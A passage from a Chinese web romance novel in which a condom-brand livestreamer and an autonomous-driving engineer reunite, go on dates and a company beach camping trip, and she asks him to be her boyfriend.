她喜欢以前寡言少语，踏实苦干的陈图森。 也喜欢现在这个大胆直球，勇敢说爱的陈图森。 她抱着手机，又在床上开心地滚了一圈。 心里的快乐像是要冲出胸口。 如果不是怕吵到邻居，她一定会大声喊出来，好开心！ 她把手机夹在两个掌心中间，默念道：“老天爷，虽然我之前说，再见到他会主动跟他表白的。但是我真的好享受被他追求的感觉啊！能不能先让他再主动一下？” 住在她大脑里的老天爷回复道：“可以。” 林晚星放心地睁开眼睛，太好了，老天爷答应了。 开心的事情要分享。 她给果子发了一条消息：【我们见面了，他在追求我！】 果子像住在网上一样，几分钟后立刻回复道：【啊啊啊啊啊！kswl！还得是你啊！】 …… 第二天早上8点半，林晚星准时收到陈图森的信息：【我到你楼下了。】 林晚星一早就收拾好了，拿起东西出门，回复道：【我现在下去。】 刚走出大堂，林晚星霎时顿住了。 嗯？眼前这个是什么人？ 他站在一辆银灰色的SUV旁，穿着一身雾霾蓝的休闲西服，身姿挺拔板正，头发每一根都像是精心打理过一样，乖巧地待在合适的位置。 整个人看着就非常精致帅气。 差点认不出了！！！ 也许是感觉到林晚星的目光，陈图森转过身来，看着她微微一笑。 今天的阳光都不如他灿烂了。 林晚星收起快要流出来的口水，吞咽了一口，一边走上前一边打量着他，问道：“你今天，怎么……” 她想说，有点孔雀开屏了，但是又觉得不太好。 斟酌了一下，她接着说道：“是活动方邀请你去走秀了吗？” 陈图森似乎很满意看到林晚星这个反应，腼腆地低头一笑，说：“不是。只是觉得既然当你的追求者，不好好收拾下，怕丢你脸。” 啊啊啊啊啊啊啊啊啊啊啊！ 林晚星内心狂叫！他到底报的是哪个口才班啊！两人同行，能一人免费吗？她也想报！ 她按压住内心的狂喜，钻进车里。陈图森递给她一个小袋子，说：“早餐，我家楼下的面包店买的，不知道你喜不喜欢。” 林晚星有些惊喜：“你还准备了早餐？” 她打开看，里面有一瓶牛奶，一个可颂。 只有一份。 她看向陈图森：“你的呢？” 陈图森：“我吃过了。” 林晚星忍不住惊讶：“你今天到底是多早起的床？” 陈图森又是羞涩一笑，轻打方向盘，没有说话。 说自己为了今天的见面激动了一晚几乎没睡，所以一大早起来打扮，这事说出来光彩吗？ 林晚星细细地嚼着面包，脑子却品出了别的不对劲。 她现在基本确定，陈图森昨天去会展中心，就是专程去找她的。 如果是这样，不是昨天应该打扮得更隆重点，来个闪亮登场，亮瞎她的眼吗？ 可是，他昨晚是跟以前一样，很随意的穿着打扮，反倒是今天，从头到脚，都是精心收拾过的。 她忍不住问道：“陈图森，你昨天去文化节，是因为我吗？” 刚好绿灯亮起，陈图森轻踩油门起步，目光专注前方，似乎一时腾不出空间回答林晚星的问题。等过了路口后，他才轻轻地“嗯”了一声：“不然，你觉得我像是去增长见识的？” 林晚星又咬了一口面包，慢慢咀嚼咽下去后，她才开口猜测道：“如果，昨天那个男人没有来捣乱，你是不是，不打算出现的？” 陈图森的眼角轻轻跳了一下，目光有一瞬的闪烁，几秒后，他又是轻轻一声“嗯。” 林晚星：“为什么？” 陈图森没说话，目光专注地看着前方，似乎在很认真地开车。 车内很安静，只有两人逐渐加重的呼吸声此起彼伏。 “因为……”陈图森缓缓地开口说道，“我不知道你还想不想看到我。” 毕竟，她之前说，她不喜欢他，她还将他拉黑，她想法设法躲着他。 所以在蜜语的账号上得知她们会参加文化节时，他只是想，也许会在那里见到她。 他也只是想偷偷看她一眼而已。 林晚星的心脏没有任何防备地，疼了一下。 一阵酸涩上涌，眼眶泛起晶莹的水光。 林晚星别过头，声音带着轻微的哽咽，说道：“陈图森，对不起。” “不要再跟我说对不起了，林晚星。” 陈图森至今还记得她当时跟他说的哪句“对不起”，他有多绝望和心痛。 “我不该对你说那些话的。”林晚星哽咽道，“我……” 太伤人了。 “过去了。”陈图森轻描淡写地揭开，说，“反正都过去了。” 他千方百计地想见她、接近她，不是为了找她算账的。 见林晚星仍是含着眼泪，满脸愧疚地看着他，他无奈地笑道：“要是真觉得过意不去，给我加点分怎么样？” …… 到达会展中心，林晚星以为陈图森这就回去了，没想到他也跟着下车。 “你今天还待在这里？” 陈图森反问：“不可以？” 林晚星两眼左右转了转，说：“好像也不是不行。” 小优昨天看到两人是一脸兴奋的吃瓜样，今天再看到两人就一脸被喂了狗粮的苦瓜样。 小优：“我说，你们有点过分了吧。早知道我也把我男朋友带来！” 陈图森讨好地说道：“有什么需要帮忙的可以叫我。” 他和昨天一样，待在蜜语的摊位搬搬抬抬，招待一下前来咨询了解的客人。 不过，不得不说，陈图森留在这里确实有个好处—— 吸引了不少年轻的女孩子过来了解。 陈图森还能细细说出大部分产品的卖点。 俨然就像蜜语的工作人员。 也有蜜语的铁粉不解：“你们公司的员工不是都是女的吗？” 陈图森解释道：“我是志愿者，来帮忙的。” 粉丝：“你也喜欢用这个产品啊？” 陈图森：“是的。” 粉丝：“和女朋友？” 陈图森顿了一下：“和我喜欢的人。” 在旁边和另一位女生介绍的林晚星听到这句话，不由地一怔，抬起头看向陈图森。 陈图森也抬头看了过来。 两人视线相接的瞬间，陈图森坦坦荡荡地笑了起来。 既不避讳他喜欢她的事实，也不避讳他一直在关注她视频以及所有评论的事实。 心脏像擂鼓一样，一下又一下地重重地敲击着。 林晚星抿着笑回过头去，继续回答客户的问题。 和昨天一样的流程，两人到下午7点结束，一起去吃过饭后，陈图森将林晚星送回家。 轿厢里又只有两人。 电梯上行带来的超重状态，导致两人的心都往下一坠，带来轻微的心悸。 心脏加速跳动的震动声仿佛在促狭的轿厢回荡，宣告着两人之间一些不言而喻的情意。 电梯到了12层，陈图森仍是规矩地跟在林晚星身后，在1206号房门外，规矩地站在一旁，没有任何僭越的行为，更没有提出任何想要僭越的想法。 林晚星打开门，回头对他说道：“这两天辛苦你了，早点回去休息吧。” 陈图森点点头：“嗯，但我不觉得辛苦。” 林晚星嘴角扬起笑容：“晚安。” 陈图森叫住了她：“林晚星。” 林晚星：“嗯？” 陈图森：“我们之后，还能保持联系吗？” 林晚星敛神，脸上的笑容化作不解：“你不是在追我吗？不联系也能追？” 陈图森微怔过后，内心的欣喜冲上脸颊，咧开嘴角笑了。 又或许是意识到自己问了个蠢问题，害羞地低下头缓了缓，才抬起头告别：“晚安。” 林晚星回笑：“晚安。” 陈图森做了个电话的手势，放在耳边，说：“保持联系。” 林晚星点点头：“嗯。” 陈图森扬了扬下巴，示意：“你进去吧，我走了。” 可是，他双脚还停在原地，林晚星也没进屋。 陈图森又说道：“你进去吧，你进去了我再走。” 林晚星却说道：“你走了我再进去。” 意识到两人陷入了一个僵局，陈图森只好做出让步，先迈开步子。 但他依依不舍的，背着手慢悠悠地一步一步向后退，双眼还看着林晚星。 林晚星遵守诺言，看他走了才进屋。 等到门终于关上那一瞬间，他猛地转身，一只手握成拳头，克制地低叫了一声：“Yeah！” 第45章 第 45 章 “我是你的家属吗？”…… 陈图森一到家, 立马报备：【我到了。】 林晚星刚好在洗澡，出来才看到信息：【那你早点休息吧。】 陈图森秒回：【明天下班后有空吗？】 林晚星抱着手机，坐在床上，回道：【我明天调休。】 周末已经连续加了两天班了。 陈图森继续问：【那你晚上的时间留给我吧。】 林晚星装傻, 调侃他：【晚上？一整晚？漫漫长夜呀, 你想干什么？】 林晚星看不到陈图森的表情, 但是看到对话框上一直显示“对方正在输入……”。 啊，就这么一个玩笑就把他给吓成这样啊？ 陈图森终于回过来了：【晚饭时间, 到睡觉前。】 林晚星抿嘴含笑：【哦, 陈主管有什么安排？】 发送后, 她又想起什么，赶紧补一条：【你现在还是主管吗？还是升职了？】 陈图森忽略她第二个问题，直接回复：【我们明晚吃完饭去看电影，怎么样？】 林晚星捧着手机, 虽然没什么创意, 不过她还是喜滋滋。 她大学的时候也不明白，那些小情侣怎么一有空就去吃饭看电影, 怎么就不腻呢？ 其实, 重要的不是做什么, 而是和什么人。 她也很想尝试一下，和陈图森像普通情侣一样约会，会是什么样子。 林晚星回道：【可以。】 陈图森发来正在上映的电影排期，问：【喜欢什么电影？】 林晚星的眼睛落在《爱乐之城》上。 《爱乐之城》竟然重映。 第一次上映那年, 她还在读高三。 大学的时候，她看到有人推荐，于是上网搜了这部电影来看。 其实她不喜欢歌舞片，一开始险些弃了, 但坚持看到最后，她有好长时间没走出来，后劲太大了。 这部电影浪漫，又充满遗憾。 让她感到最难过的是，两个怀揣着理想的人，相互信任相互扶持，支撑着对方的理想，却在他们功成名就的时候，各奔东西。她看到最后Mia虽然说“我会永远爱你”，但是几年后却嫁给了别人，结婚生子，心里始终无法接受，像扎了根刺，久久不能释怀。 她突然很想再看一遍。 林晚星问：【《爱乐之城》怎么样？】 陈图森没有看过，林晚星想看什么就看什么，直接应道：【可以啊，那我买票。】 第二天，陈图森原本说下班过来接她。 不过林晚星考虑到他们吃饭看电影的地方在北桥区，陈图森上班的地方也在北桥区，而下班后从北桥到江南是最堵的，她便提出自己坐地铁过去就好。 林晚星：【嘻嘻，我早点过去可能还不用等，不然你接了我再过来吃饭，到时还得排号。】 陈图森觉得也有道理，便答应了。 林晚星先到他们吃饭的地方，他下班直接过去。 他们今天选了一家自助烧烤。 林晚星在吃饭的时候，问道：“你看过《爱乐之城》吗？” 陈图森摇摇头，这不是他喜欢的电影类型。 林晚星：“我在大学的时候看过，不过那时是在电脑上看的。” 陈图森有点不解：“看过了怎么还想看？” 林晚星：“想看看每个时期对一部电影的理解是不是不同，恰好重映，就看了。” 陈图森问道：“爱情片？” 林晚星嬉笑着说：“算是。你会不会觉得很无聊。” 陈图森看着她，笑着说：“自己看可能会，和你看不会。” 他们吃饭和看电影都在同一个商场，吃完直接去看电影正好。 电影开始，导演用最绚烂的色彩，最热烈的歌舞将观众拉入故事中。 当年，林晚星只是很单纯地将它当□□情片来看，此刻林晚星却从这个故事里看到了更多。 她终于明白了Mia和Seb为什么注定会相爱，又注定会分开。 突然心生感慨，有些人相遇，或许注定是为了成就彼此的。 剧终，散场。 两人随着观众走出电影院，林晚星很沉默，她还沉浸在刚才的故事里。 陈图森不如林晚星想得多，但他看懂了这部电影的结局是BE的，又看到林晚星这么沉默，心底莫名有种忐忑。 早知道他应该做下功课再决定看不看这部电影。 他很想说点什么，试探一下林晚星现在的想法，又担心说错话，只能默默地走着。 两人走到停车场，上车，陈图森终于开口问道：“现在回去吗？” 林晚星点点头：“嗯。” 车子驶出停车场那瞬间，初秋夜晚的凉风从车窗灌了进来，很舒爽。 林晚星想到从这里回到公寓，也就十来分钟，她突然有点不想这么快结束这一个晚上。 她扭头看向陈图森问道：“你着急回去吗？” 陈图森想都没想就回答：“不着急。” 林晚星建议道：“那我们兜兜风？” 陈图森有些惊讶，欣喜地应道：“好。” 相比起白天的拥堵和喧嚣，夜晚的江城很安静。 陈图森沿着江边行驶，林晚星将手撑在窗沿上，享受风肆意地灌进来，将她头发吹乱。 她的脑海中，还在回放刚才电影最后的画面。 音乐落下，Mia站起来准备离开，与Seb隔空对视，两人相视一笑。 以前觉得是一种遗憾，此刻却感到一种释然。 他们都是有才华有梦想的人，却也是在繁华的洛杉矶里不被看到不被理解的孤独的人。 在最黯淡的岁月里，他们都像一束光照进彼此的生活，也支撑着他们走下去。 正因为他们曾经并肩追梦，所以才明白彼此的理想对他们是多么重要，他们比对方都更不能接受他们放弃自己的理想。 为了成全，为了让对方成为更好的自己，他们才选择分开。 在最后，他们一个微笑、一个点头，感激有这么一个人曾经并肩追梦，曾经照亮过自己的生命，足矣。 她突然感到很幸运。 世上很少有两全其美，在更好的自己和爱情之间，也许只能择其一。 可是，她好像都拥有了。 她扭头看向正在开车的陈图森。 他也在她最艰难的时候，走进她的生活，陪着她一次一次走过那些困难的时刻。 但她真的很幸运，他们没有走散。 察觉到身边人的目光，陈图森扭头看了一眼，问道：“怎么啦？” 林晚星眼角微微弯起，笑道：“就是觉得，很感激。” 陈图森：“感激什么？” 林晚星轻轻吸了吸鼻子：“谢谢你回来。” 谢谢你会回来找我，谢谢你没让我们走散。 陈图森的眼睛快速眨了几下，抬起一只手轻轻刮了刮鼻子。 “你错了。” 林晚星：“嗯？” 陈图森：“我从来没有离开过。” 这8个字像鼓槌一样重重地敲击在林晚星的心上。 林晚星的感动一时无法掩饰，眼眸泛起盈盈碎光。 所以，陈图森不是突然出现的？ “陈图森……”林晚星的声音像是卷进了风，有些沙哑，“你能跟我说说，你这两年，是怎么过来的吗？” …… 在不加班的晚上以及周末，他们会相约出来吃饭、看电影、散步。 他带她重新回到滨江花园，告诉她，自己经常周末会回到这里坐在楼下看他们曾经住过的地方。 她却很抱歉地说这是搬走后她第一次回来，明明她离得更近，但她一次都没回来过。 他带她去他常去的健身房，告诉她，他又恢复了健身。 她带他去她家附近的公园，说她现在周末也会来这里跑步。 他带她去江城的青少年宫，颇为得意地说，他之前还在这里当过一段时间的老师。 林晚星很奇怪：“你怎么会到这里当老师了？” 那是蚂蚁智行的一次公益活动，陈图森突发奇想，现场用了一些废弃的玩具给大家做了一个“智能避障小汽车”，孩子看到都特别喜欢。 事后，青少年宫的主任正好想开设一门智能机器人与编程的课，便邀请陈图森尝试给他们当一学期的老师。 林晚星钦佩地给他鼓掌，但也很骄傲地说：“我也不赖，我在网上也是一个有小几万粉丝的‘老师’。” 陈图森说：“我知道。” 正是因为她，他才会答应青少年宫主任的邀请，他也想能够匹配得上她，也能用自己的能力，影响更多人。 林晚星一愣，随后别过头害羞地说：“你果然看到了。” 陈图森这下倒是学会了装傻：“看到什么了？” 林晚星不说：“你自己知道。” 陈图森：“我不知道。” 林晚星：“别装傻！” 陈图森：“我真的不知道。” 他们的缘分，果然不是上天的恩赐，而是有人默默地付出，一次又一次地向命运索求。用一次又一次的努力，去碰撞出一场偶然的相遇。 现在，他们一点一点地为对方把两人分开后的空白填补上。 也让他们看到，就算在分开的日子里，他们身上却似乎仍留着彼此的痕迹，在对方的牵引下，往更好的自己走去。在重逢的日子里，他们又用自己的经历圆满彼此的人生。 …… 一个周四的晚上，陈图森加班，林晚星自己先回了家。 她在刷朋友圈的时候，看到一家叫“路边摊烧烤”的网红店明天开业。她随手转发给了陈图森，问：【我们周末去试试？】 陈图森：【抱歉，这周末不行。】 林晚星：【要加班啊？】 陈图森：【公司组织了个员工自驾游的团建，顺便测试升级后的自动驾驶辅助系统的性能。】 林晚星：【哦，那没关系吧，等你有空了我们再去。】 陈图森没有回复，而是直接打了个电话过来。 林晚星有些意外：“喂？” 陈图森沉默了零点几秒，才开口：“对不起。” 林晚星却笑了：“对不起什么？” 陈图森：“没有不开心？” 林晚星：“没有啊，工作要紧嘛。” 陈图森又确认道：“真的没有？” 林晚星有些无奈，承认道：“是有一点点失望啦……” 因为这段时间习惯了空余的时间都有陈图森陪伴，现在听说他周末要加班，确实会有一点点失落，突然有点不知道自己这个周末怎么过了。 林晚星：“不过，你是因为工作，可以理解的。” 陈图森试探地问：“你想跟我一起去吗？” 林晚星有些惊讶：“我可以吗？” 陈图森：“可以带家属。” 家属。 林晚星在心里琢磨着这个词，问道：“我是你的家属吗？” 陈图森：“你愿意来的话，就是。” 第46章 第 46 章 “如果你有一个卖套的女…… 周六午饭后出发。 陈图森去接林晚星吃饭, 还不忘再提醒道：“可能会有点辛苦的哦。”。 其实，那晚陈图森就提醒过她，因为需要测试升级后的系统，因此他们规划的路线、目的地, 更多都是为了测试系统性能而设计的。 他们路上会经过一些非铺装路段和施工路段, 评估系统在复杂路段的应对能力。 目的地也选在开发程度不高的沙滩。 林晚星听完后, 故意问道：“你是不是后悔了，不想我去了？” 陈图森一听就慌了, 赶紧解释：“怎么会？就是怕你落差太大。” 今天又再提起。 林晚星假装无奈地说：“没办法了, 已经上了贼船。” 陈图森没忍住一笑, 轻打方向盘，去公司集合。 等人都到齐后，大家一起出发。 其实这个升级后的系统，早已经在封闭的测试路段经过测试了, 这次大家出来, 也只是以普通的车主身份来体验而已。 说白了，大家就是想玩, 顺便找个理由申请经费出来团建而已。 因此在路上, 并没有林晚星想象的任务很沉重的样子。 从高速下来后没多久, 对讲机上传来：“注意，前方施工路段。” 陈图森拿过对讲机回复：“收到。” 导航也发出提醒：“前方三公里有连续施工路段，请注意慢行。” 林晚星向着车前方看去，前方果然摆着一排的红白色雪糕筒, 还有穿着反光背心的施工人员穿梭其中。 陈图森按捺不住似的，主动给林晚星介绍道：“我跟你说，这是自动驾驶系统最棘手的‘动态障碍物+不规则车道线’，如果使用视觉方案的话, 会有可能因为反光条过曝而丢失细节。但是，我们新升级的系统通过偏振光摄像头过滤杂散光，就可以确保每个雪糕筒的底座轮廓都足够清晰。” “而‘人体行为预测’算法，搭配800万像素的广角摄像头，可以捕捉到移动的障碍物，在这条道路上也就是施工的工人。系统就会根据工人移动的轨迹提前降低车速，避免撞上障碍物。” 林晚星其实不太听得懂，只是看着陈图森说得神采风扬的样子，就觉得这个系统确实很厉害。 她突然想起以前和陈图森测评安全套时，他时不时在脑海里冒出的各种想法，一开始她总觉得他是故意折腾她，到最后却发现他提出的方法都很实用。 妈妈说就算因性生爱也没什么可觉得羞耻的，性也是人的一部分，她是透过他的一部分，看到他的本身。 其实，他吸引她的，真的不仅是床上的技巧，而是他整个人透露出来的对一件事情的认真与专业的态度。 这次再见之后，他们一起吃喝玩乐，去了解分开后彼此的生活。 他还陪着她工作，她也陪着他工作。 他们像是从床上下来，真正地参与到对方的人生中。 好像为两人本来漂浮无根的关系，注入了实体，变得真实起来。 林晚星突然笑了起来。 陈图森不解地扭头问道：“笑什么？” 林晚星：“人家说认真工作的男人最帅，就觉得，你现在确实比平时更帅了一点。” 陈图森目光认真地看着前方，看上去好像不为所动，耳根却微微泛红。 过了一会，他突然咧嘴一笑： “早知道这样……我就应该一早把你揣兜里，带去公司上班。” 早知道她喜欢他工作的样子，直接把她带去上班就好了，还上什么床！ 他们这次的目的地叫玫瑰湾，是一个开发程度不高的野滩，只配备了最基本的卫生间和淋浴房。最近的饭店民宿都在5公里外的地方。 不过也因为开发程度不高，所以来这里的人也不多，适合他们团建。 反正他们也是打算露营烧烤的。 林晚星刚跟着陈图森走下车，就几乎吸引了所有人的目光。 一开始是因为在他们眼里不近女色的陈主管竟然带家属了！ 第二是有人发现，陈主管的家属竟然是一个小网红！ 双重buff叠满！陈主管真是不鸣则已，一鸣惊人！ 摸鱼男这下可有些忿忿不平了！ 当时陈主管还砸他手机，骂他上班时间摸鱼看主播买套，没想到自己暗地里都把人泡到手了。 搞不好他还是他们的红娘啊！ 他阴恻恻地走了过去，脸上却堆着热情的笑容：“小姐姐你好呀，我有看你的直播！” 林晚星客气地回笑道：“谢谢，你叫我林晚星就好。” 摸鱼男：“不敢！我叫你嫂子好了。你真人比上镜好看多了！” 林晚星还是一副职业假笑：“谢谢。” 正在把帐篷从车上拿下来的陈图森听见，白了他一眼：“别乱叫，没听见人家有名字吗？” 摸鱼男立刻道歉：“对不起森哥！” 陈图森赶人：“还不快去那边帮忙？” 摸鱼男：“我马上去。” 他刚应完，又压低声音跟林晚星说：“美女姐姐，我们森哥经常上班偷看你视频的。” 陈图森双眼凌厉得简直想杀人：“还，不，快，去？” 摸鱼男：“立刻！” 林晚星回头看着陈图森，还没开口，陈图森就赶紧解释说：“你别听他乱说。” “哦。”林晚星低低地应道，“所以，是没有看？” 陈图森摇摇头：“看了，但不是偷看，我是在休息时间光明正大地看。” 他刚说完，看到摸鱼男又跑回来，眉峰忍不住下压。 摸鱼男悄悄地凑前去问林晚星：“美女姐姐，我女朋友特别喜欢你们公司的牌子，找你买有优惠吗？” 林晚星：“呃……买多的话，可以给你算员工价，会比直播再便宜一点点。” 摸鱼男：“那太好了！我们加个微信吧。” “嗯！嗯！”陈图森突然用力地大声地清了清嗓子，摸鱼男立刻感到一股杀气。 摸鱼男：“还是不用加了！我要买的时候直接找森哥吧！” 说完，赶紧一溜烟地跑走了。 陈图森沉着脸说：“你不用管他。” 林晚星笑着帮忙搭起帐篷，说道：“其实没关系的。” 这就是她的工作，有人想买，有人来咨询，都是很正常。 平时直播、拍视频带货、以及正常的工作中都会遇到的，在她看来，真的很正常。 唯一不同的就是，这次来问的人是陈图森的同事。 突然，心底有一股怪异的感觉滋生开来。 她现在已经不像刚开始那样，觉得自己的工作有什么不能对别人说的。 无论是设计安全套、小玩具，还是拍视频、做直播，她都很清楚自己在干什么。 可是……她抬起眼眸，从帐篷的边缘看向正在低头忙碌的陈图森。 这算是他第一次带她走进他的圈子，如果他们以后真的要在一起，她会接触到更多属于他圈子里的人，他的家人亲戚、他的同学、他的朋友。 他又是怎么想的呢？ 她在工作中遇到太多的误解和成见了，面对无关紧要的人，她可以置之不理。 可是，如果对方是陈图森，是他的家人朋友，她还能置若罔闻吗？ 心头缠上了一丝顾虑，她沉默地机械地搭着帐篷。 陈图森偶尔叫了她几声，她也是淡淡地回应。 终于搭好后，陈图森搬来两张露营椅：“累了吧，休息下。我去给你拿瓶水。” 他刚把两张椅子放好，又转身跑开去拿水，一刻都没停过。 林晚星看着他的背影，坐了下来，一垂眸又想起刚才那件事。 陈图森回来的时候，看见林晚星低着头，心事重重的样子，心莫名就跟着提了起来。 “喝水吧。”陈图森把水递给她，林晚星抬头接过，笑道：“谢谢。” 陈图森在她边上坐了下来，两人默默地仰头喝水，都没说话。 他们都觉察到一丝怪异的气氛。 陈图森忍不住，主动问道：“是不是刚才我那同事说的话，让你不开心了？” “啊？”林晚星猛地抬头，“没有啊……” 陈图森关心地问：“那你怎么很不开心的样子？” 林晚星犹豫了一下，还是决定坦白，说开了总比藏在心底好： “我只是在想，如果……我是说如果，你有一个卖套的女朋友，你会觉得很丢脸吗？” 他还当是什么事！ 陈图森突然整个人松了一口气，摇摇头：“我会觉得很自豪。” 林晚星有些惊讶地挑了挑眉：“？” 陈图森漆黑的双眸沉了下来，显得格外温柔，他嘴角微微笑道：“因为，她在很努力、很用心地保护每一个女孩子。我感到很自豪。” 甚至，偶尔还会有一种，配不上她的自卑。 林晚星完全愣住了，不是他说了多么浪漫的话。 而是，就在这一刻，她真实地感受到—— 他爱她，真的是爱她的全部。 也不是盲目失去理智的爱，是真正看到了她的追求后，对她发自内心的欣赏和钦佩。 如果他不曾真正去理解过她，他又怎么能说出这句话？ 海边的风，带着咸咸的水汽，扫过林晚星的脸颊。 鼻腔一阵酸涩，泪水就忍不住滚了下来。 她赶紧别过头，吸着鼻子说：“陈图森，你真的……好烦……” 干嘛呀！突然把人弄哭！ 陈图森手忙脚乱地抽出一张纸巾，蹲到林晚星的另一边，小心翼翼地给她擦眼泪：“对不起，是我不好。但我说的，都是真心话。” 泪水像海浪一样，刚退了一波，又接着涌上来新的一波。 林晚星哭着抬手打向陈图森的肩膀：“你别再说话了！” 第47章 第 47 章 “我们交往吧。”…… 林晚星的泪水终于止住了, 好在今晚的晚霞过于绚烂，没人注意她眼圈的红晕是哭红的，还是被晚霞染红的。 晚上吃过烧烤，陈图森陪着林晚星到淋浴房洗澡。 虽然比较偏僻, 但是基础设施维护得不错, 淋浴房还算干净。 不过在陌生的环境, 林晚星也没折腾太久，十多分钟就搞定了。 她刚走出淋浴房, 就看到一个身影背着淋浴房门口, 正低着头似乎在玩手机。 林晚星有些惊讶：“你怎么还没走啊？” 陈图森回过头, 笑了笑，说：“怎么放心留你一个人在这里洗澡呢。” 他把她送回营地后，自己再返回淋浴房洗澡。 林晚星独自一人坐在帐篷旁，看着陈图森的同事在沙滩放烟花, 听着似乎永不停息的海浪声。 置身在天地之间, 仿佛一切都变得渺小，但内心的那股柔软被无限地放大, 她感受到一种很幸福很幸福的感觉。 原来真正感到幸福的时候, 并不会兴奋地大叫, 也不会快乐地打滚，而是一种内心的平和。 平和得像空气一样，静静地在身边流淌，你看不见, 但又真真切切地感觉到，它在。 陈图森没多久就回来了，问道：“不过去玩？” 林晚星摇摇头：“不了。” 她想安安静静地感受这种幸福的感觉。 陈图森便在她边上坐下陪她。 她扭头看着他，这种幸福便有了具象化。 真的好想, 把这幸福抓住。 夜晚的海边，其实不太看得出天色的变化。 直到大家都开始散去，洗澡的洗澡，睡觉的睡觉。 两人才发现有点晚了。 陈图森说：“你要是困了的话，就去我的车上睡。” 林晚星：“那你呢？” 陈图森：“我睡帐篷。” 林晚星跟着陈图森到车上去，其实他的车就停在帐篷旁边。 她看到后排的座椅已经被放倒，陈图森还在上面扑了床垫，枕头被子也都准备好，俨然一个小卧室。 “这车有新风系统，智能温控，不过你要是感觉热了冷了，也可以自己调。还有这玻璃的透光度，我给你调低一点，早上就没那么亮，别人也看不见里面……”陈图森正在教林晚星操作这个系统，林晚星耐心地听着，好奇心起，突然指着中控一个图标，问：“这是什么？” 陈图森没回答，只是说：“你按下试试？” 林晚星反而不敢了：“不会像电影那样，按下去这车就会变身吧？” 陈图森还是笑着说：“你试试。” 既然车主都这么说了，林晚星就大胆地按了下去，车顶随即徐徐掀开。 陈图森笑着介绍：“全景天幕。” “哇~”虽然隔着一层玻璃，不过这种天幕突然打开的感觉，有种漫天星河在眼前铺展开来的震撼，她很高兴地说，“那不就在车上就能看星星。” 陈图森：“可以。” 她赶紧躺下：“我要试试。” 这个沙滩比较偏僻，周边的建筑不多，人烟也较为稀少。 恰好今天的天气也很好，夜空无云，空气能见度高，星星密密麻麻地挤在一起，很像小时候在老家云禾看过的星空。 她见陈图森还呆呆地在一旁坐着，扯了扯他的手臂，说：“你也躺下来看啊！” 陈图森却有些慌张，就连手臂都在有意识地躲闪，说：“我还是回帐篷吧。待会你要睡觉了，再按刚才那个图标，就能把天幕关上。” 林晚星听说他要走，立马坐了起来：“这么快！” 陈图森喉结不自控地滚动一圈，其实他也不想这么快走，不过…… 就在刚刚林晚星躺下来看星星的时候，他的大脑竟然僭越地想起在公司里听过同事说的黄段子，说这款车空间宽敞，很适合车.震。 他偷偷垂眸看了林晚星一眼，天上的星星像落入了她的双眼，一双眸子晶莹闪亮。 促狭的空间、暧昧的距离，曾经那些潮热黏腻的回忆像咸咸湿湿的海风一样扑上来，身体某处的欲望不受控制地膨胀。 他赶紧掐住自己的歹念，他对自己说过，不可以再这样。 他不想让林晚星再觉得，他和她做，只是为了解决自己的需求和欲望。 陈图森嗓音低哑地说：“你该睡觉了，不打扰你。” 林晚星却没有松开他的手臂，反而用力地抓紧了些。 他怎么还是这么笨啊！ 她本来以为陈图森真的变了，刚见面那会，那么直球那么大胆，现在怎么反而怂了。 他到底想追人追到什么时候啊？ 海边、星空、私密的空间…… 气氛都烘托到这里了，他不趁机留下来陪她一起看星星互诉衷肠再趁机表白啵一口就算了，竟然给她来一句“我回帐篷了”。 林晚星气得双唇绷得紧紧的。 算了吧，他做得已经够多了。 在这段感情里，她以前一直在往后退。 而他已经朝她走了99步，那么剩下那一步，就由她走上去吧。 陈图森不敢甩开林晚星的手，但他感受到林晚星掌心越来越用力，温度也越来越高，也忍不住跟着紧张起来：“林晚星……” “我们交往吧。” 林晚星猛地抬头说道，强势地将陈图森未说出的话打断。 空气霎时变得安静。 陈图森的胸膛剧烈地起伏，呼吸变得沉重，他刚才听到了什么？ “你说什么？” 林晚星深吸了一口气，认真地看向他：“你能当我的男朋友吗，陈图森？” 她说过，如果再见到他，她一定要告诉他—— “我喜欢你。” …… 自然的天光从帐篷的牛津布钻了进来，将陈图森叫醒了。 他睁开眼睛，大脑却仿佛还没反应过来。 他几乎是天亮才睡着，眯了没两个钟，又醒了。 刚睁开眼睛，他又忍不住回想起昨晚的事。 他清晰地记得，林晚星昨晚跟他说，她喜欢他。 虽然他早在她的视频评论区里窥视过她的心意，再见后也在一次次的试探中，尝试触摸到她的心。 但，这是他第一次听到她亲口说：她喜欢他。 他无法去形容当时心里那种惊讶和震撼。 心知肚明是一回事，但这么直接地被表白又是另一回事。 昨晚，他听到她的表白后，整个人傻了。 在他的计划里，这句话应该是由他说出。 只是，他想再等等，等到一个更合适的时间。 没想到—— 林晚星看他整个人傻了，眉心拢了拢，故作不悦地说：“你不答应啊？” “不是。”陈图森赶紧摇头道，“就是，太突然了，感觉有点不真实……” 他真的，有点怀疑自己在做梦。 林晚星咧嘴一笑，突然双手捧着他的脸，吻了上来。 陈图森的呼吸骤然停顿，双瞳放大，连眼睛都不舍得闭上，怔怔地看着眼前的人。 林晚星蜻蜓点水一样，很快就放开了陈图森，咧着笑问道：“现在呢？感觉真实一点了吗？” 如星星之火落在干旱的草原上，陈图森体内的冲动再也按压不住。 他上前抚住林晚星的后脑勺，顺势将她压下。 下一秒，他便张嘴将她两片唇瓣吞噬，续上刚才的吻。 “林晚星，还可以更真实一点。” 温热的鼻息相互交缠，车内的温度骤然上升。 尽管有新风系统，但狭小空间里的氧气还是逐渐稀薄。 陈图森没有任何技巧，他只是凭借身体的感觉，贪婪地、肆意地掠夺着林晚星的气息，以濒临缺氧的窒息感受着此刻的真实。 也像是要将这两年来的所有思念都倾注在这一个吻上。 他们不是第一次接吻，但他觉得，这才是他们的初吻。 他全身的血液都像沸腾了一样，从身体各处涌向某一个地方。 大脑那根弦反复拉扯，在绷到极致的时候，他猛然刹车。 他无法纵容自己在这里做出那些事。 他不能让别人对她的误解和成见变成无法洗脱的事实。 他起身对林晚星说：“你好好休息，我去帐篷睡。” 林晚星再次抓住他的手腕，问：“不一起睡吗？” 一起睡，那就相当于不用睡。 他俯身温柔地在林晚星额头上亲了一下，说：“我就在边上，有事随时叫我。” 事实上，他独自回到帐篷，依然无法入睡。 他感觉全身每一个细胞都处在极度亢奋状态，身体内沸腾的精力简直能让他绕着这个沙滩跑上10圈。 于是，他一个晚上就在帐篷里翻来覆去折腾到后半夜。 才眯了两个钟左右，他就听到外面有人说话的声音，看了看时间，已经7点多了。 他抬起手，原地伸了个懒腰，一鼓作气弹了起来。 他拉开拉链，钻出帐篷，就看到折腾到他一晚上睡不好的罪魁祸首正看着他，咧嘴笑道：“你醒啦！” 眼底的疲惫一扫而光，他微笑着走过去问道：“你也睡不着？” 